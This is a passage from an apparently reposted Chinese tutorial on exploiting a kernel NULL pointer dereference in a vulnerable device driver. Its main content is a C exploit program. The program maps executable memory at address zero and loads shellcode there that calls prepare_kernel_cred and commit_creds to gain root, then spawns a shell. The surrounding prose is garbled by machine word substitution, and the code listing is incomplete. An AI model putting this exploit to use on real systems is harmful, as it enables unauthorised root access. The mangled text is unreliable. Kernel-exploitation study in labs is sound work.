作家
登录

内核exploit——如何应对空指针异常现象

作者: 来源: 2017-10-26 09:24:54 阅读 我要评论

    1. read(fd, 0, 1) 

    我们做到了,我们将其IP指针设置为0

    荣幸的是,mmap_min_addr保护处于封闭状况。 我们可以在NULL平分派一个小区域,并放置我们的shellcode来晋升权限。

    如今就可以大年夜“/proc/kallsyms!”中获得“prepare_kernel_cred”和“commit_creds”地址。

    http://p3.qhimg.com/t015c9180be49718961.png

    我将应用rasm2做一个shellcode:

    以下是shellcode:

    在我们的开辟法度榜样中撤消指针前,我们就可以开端添加shellcode:

    1. #include <stdio.h> 
    2. #include <string.h> 
    3. #include <stdlib.h> 
    4. #include <sys/mman.h> 
    5. #include <fcntl.h> 
    6. /**/ 
    7. #define vulnerable_device "/dev/tostring" 
    8. /**/ 
    9. void pop_shell(){ 
    10. system("sh"); 
    11. /**/ 
    12. void main(void){ 
    13. int fd; 
    14. char payload[15]; 
    15. char shellcode[15] = "\x31\xc0\xe8\xe9\x11\x07\xc1\xe8\x74\x0e\x07\xc1\xc3"; 
    16. /**/ 
    17. memset(payload, '*', 10); 
    18. /**/ 
    19. payload[10] = 'S'; 
    20. payload[11] = 0; 
    21. /**/ 
    22. fd = open(vulnerable_device, O_RDWR); 
    23. if(fd < 0){ 
    24. printf("Couldn't open device!"); 
    25. write(fd, payload, 12); 
    26. /**/ 
    27. mmap(NULL, sizeof(shellcode), PROT_EXEC |PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS |MAP_FIXED, -1, 0); 
    28. memcpy(NULL, shellcode, sizeof(shellcode)); 
    29. /**/ 
    30. read(fd, 0, 1); 
    31. /**/ 
    32. pop_shell(); 

    以下是root shell

    http://s5.51cto.com/oss/201710/25/87a7925d8110979ef1b53d535e43e1d6.png

    欲望文┞仿能对大年夜家有所启发和赞助!

    【编辑推荐】

    1. 若何经由过程“限制治理权限”来保护您的企业?
    2. 匡恩收集威望宣布“2016物联网安然申报”
    3. PHP成为首个在内核中嵌入加密库的编程说话
    4. HEVD内核马脚练习——陪Windows玩儿
    5. 治理员权限的凭证安然马脚
    【义务编辑:赵宁宁 TEL:(010)68476606】

      推荐阅读

      别不相信 大数据已经侵入到你生活的方方面面

    沙龙晃荡 | 去哪儿、陌陌、ThoughtWorks在主动化运维中的实践!10.28不见不散! 大年夜数据这个词,几乎天天都邑听到。不过谈到这个词典,要么是科技公司介绍新技巧、要么是专家学者介绍将>>>详细阅读


    本文标题:内核exploit——如何应对空指针异常现象

    地址:http://www.17bianji.com/lsqh/38226.html

    关键词: 探索发现

    乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

    网友点评
    自媒体专栏

    评论

    热度

    精彩导读
    栏目ID=71的表不存在(操作类型=0)